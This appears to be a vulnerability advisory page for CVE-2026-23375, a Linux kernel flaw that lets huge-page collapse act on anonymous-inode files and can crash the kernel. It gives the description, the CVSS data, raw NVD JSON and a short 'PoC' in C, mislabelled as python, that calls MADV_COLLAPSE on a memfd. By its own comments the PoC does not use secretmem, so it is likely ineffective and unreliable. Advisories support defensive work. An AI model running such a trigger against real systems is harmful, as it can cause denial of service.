Security Vulnerability Report
中文
CVE-2026-23375 CVSS 5.5 MEDIUM

CVE-2026-23375

Published: 2026-03-25 11:16:37
Last Modified: 2026-04-24 16:31:31
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: mm: thp: deny THP for files on anonymous inodes file_thp_enabled() incorrectly allows THP for files on anonymous inodes (e.g. guest_memfd and secretmem). These files are created via alloc_file_pseudo(), which does not call get_write_access() and leaves inode->i_writecount at 0. Combined with S_ISREG(inode->i_mode) being true, they appear as read-only regular files when CONFIG_READ_ONLY_THP_FOR_FS is enabled, making them eligible for THP collapse. Anonymous inodes can never pass the inode_is_open_for_write() check since their i_writecount is never incremented through the normal VFS open path. The right thing to do is to exclude them from THP eligibility altogether, since CONFIG_READ_ONLY_THP_FOR_FS was designed for real filesystem files (e.g. shared libraries), not for pseudo-filesystem inodes. For guest_memfd, this allows khugepaged and MADV_COLLAPSE to create large folios in the page cache via the collapse path, but the guest_memfd fault handler does not support large folios. This triggers WARN_ON_ONCE(folio_test_large(folio)) in kvm_gmem_fault_user_mapping(). For secretmem, collapse_file() tries to copy page contents through the direct map, but secretmem pages are removed from the direct map. This can result in a kernel crash: BUG: unable to handle page fault for address: ffff88810284d000 RIP: 0010:memcpy_orig+0x16/0x130 Call Trace: collapse_file hpage_collapse_scan_file madvise_collapse Secretmem is not affected by the crash on upstream as the memory failure recovery handles the failed copy gracefully, but it still triggers confusing false memory failure reports: Memory failure: 0x106d96f: recovery action for clean unevictable LRU page: Recovered Check IS_ANON_FILE(inode) in file_thp_enabled() to deny THP for all anonymous inode files.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.8:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:* - VULNERABLE
Linux Kernel (Stable branches prior to patch 0524ee56af2c9bfbad152a810f1ca95de8ca00d7)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/mman.h> #include <fcntl.h> #include <linux/memfd.h> #include <sys/syscall.h> // Wrapper for memfd_create if not in libc static int memfd_create(const char *name, unsigned int flags) { return syscall(__NR_memfd_create, name, flags); } int main() { // Attempt to create a secretmem fd (requires kernel support) // Fallback to regular memfd if secretmem not available to demonstrate logic int fd = memfd_create("test_poc", MFD_CLOEXEC); if (fd < 0) { perror("memfd_create"); return 1; } // Write some data to allocate pages char data[4096] = {0}; write(fd, data, sizeof(data)); // Map the memory void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0); if (addr == MAP_FAILED) { perror("mmap"); close(fd); return 1; } printf("Triggering MADV_COLLAPSE on anonymous inode file...\n"); // Trigger the khugepaged/collapse logic // This may crash the kernel if the bug is present and using secretmem if (madvise(addr, 4096, MADV_COLLAPSE) < 0) { perror("madvise"); } else { printf("MADV_COLLAPSE executed. Check kernel logs for WARN_ON or crash.\n"); } munmap(addr, 4096); close(fd); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23375", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-03-25T11:16:37.230", "lastModified": "2026-04-24T16:31:31.260", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm: thp: deny THP for files on anonymous inodes\n\nfile_thp_enabled() incorrectly allows THP for files on anonymous inodes\n(e.g. guest_memfd and secretmem). These files are created via\nalloc_file_pseudo(), which does not call get_write_access() and leaves\ninode->i_writecount at 0. Combined with S_ISREG(inode->i_mode) being\ntrue, they appear as read-only regular files when\nCONFIG_READ_ONLY_THP_FOR_FS is enabled, making them eligible for THP\ncollapse.\n\nAnonymous inodes can never pass the inode_is_open_for_write() check\nsince their i_writecount is never incremented through the normal VFS\nopen path. The right thing to do is to exclude them from THP eligibility\naltogether, since CONFIG_READ_ONLY_THP_FOR_FS was designed for real\nfilesystem files (e.g. shared libraries), not for pseudo-filesystem\ninodes.\n\nFor guest_memfd, this allows khugepaged and MADV_COLLAPSE to create\nlarge folios in the page cache via the collapse path, but the\nguest_memfd fault handler does not support large folios. This triggers\nWARN_ON_ONCE(folio_test_large(folio)) in kvm_gmem_fault_user_mapping().\n\nFor secretmem, collapse_file() tries to copy page contents through the\ndirect map, but secretmem pages are removed from the direct map. This\ncan result in a kernel crash:\n\n BUG: unable to handle page fault for address: ffff88810284d000\n RIP: 0010:memcpy_orig+0x16/0x130\n Call Trace:\n collapse_file\n hpage_collapse_scan_file\n madvise_collapse\n\nSecretmem is not affected by the crash on upstream as the memory failure\nrecovery handles the failed copy gracefully, but it still triggers\nconfusing false memory failure reports:\n\n Memory failure: 0x106d96f: recovery action for clean unevictable\n LRU page: Recovered\n\nCheck IS_ANON_FILE(inode) in file_thp_enabled() to deny THP for all\nanonymous inode files."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nmm: thp: denegar THP para archivos en inodos anónimos\n\nfile_thp_enabled() permite incorrectamente THP para archivos en inodos anónimos (por ejemplo, guest_memfd y secretmem). Estos archivos se crean a través de alloc_file_pseudo(), que no llama a get_write_access() y deja inode-&gt;i_writecount en 0. Combinado con que S_ISREG(inode-&gt;i_mode) sea verdadero, aparecen como archivos regulares de solo lectura cuando CONFIG_READ_ONLY_THP_FOR_FS está habilitado, haciéndolos elegibles para el colapso de THP.\n\nLos inodos anónimos nunca pueden pasar la verificación inode_is_open_for_write() ya que su i_writecount nunca se incrementa a través de la ruta de apertura VFS normal. Lo correcto es excluirlos por completo de la elegibilidad para THP, ya que CONFIG_READ_ONLY_THP_FOR_FS fue diseñado para archivos de sistemas de archivos reales (por ejemplo, bibliotecas compartidas), no para inodos de pseudo-sistemas de archivos.\n\nPara guest_memfd, esto permite a khugepaged y MADV_COLLAPSE crear folios grandes en la caché de páginas a través de la ruta de colapso, pero el gestor de fallos de guest_memfd no soporta folios grandes. Esto activa WARN_ON_ONCE(folio_test_large(folio)) en kvm_gmem_fault_user_mapping().\n\nPara secretmem, collapse_file() intenta copiar el contenido de la página a través del mapa directo, pero las páginas de secretmem se eliminan del mapa directo. Esto puede resultar en un fallo del kernel:\n\n BUG: unable to handle page fault for address: ffff88810284d000\n RIP: 0010:memcpy_orig+0x16/0x130\n Call Trace:\n collapse_file\n hpage_collapse_scan_file\n madvise_collapse\n\nSecretmem no se ve afectado por el fallo en upstream ya que la recuperación de fallos de memoria maneja la copia fallida con elegancia, pero aún así activa informes confusos de falsos fallos de memoria:\n\n Memory failure: 0x106d96f: recovery action for clean unevictable\n LRU page: Recovered\n\nVerificar IS_ANON_FILE(inode) en file_thp_enabled() para denegar THP para todos los archivos de inodos anónimos."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-617"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, ... (truncated)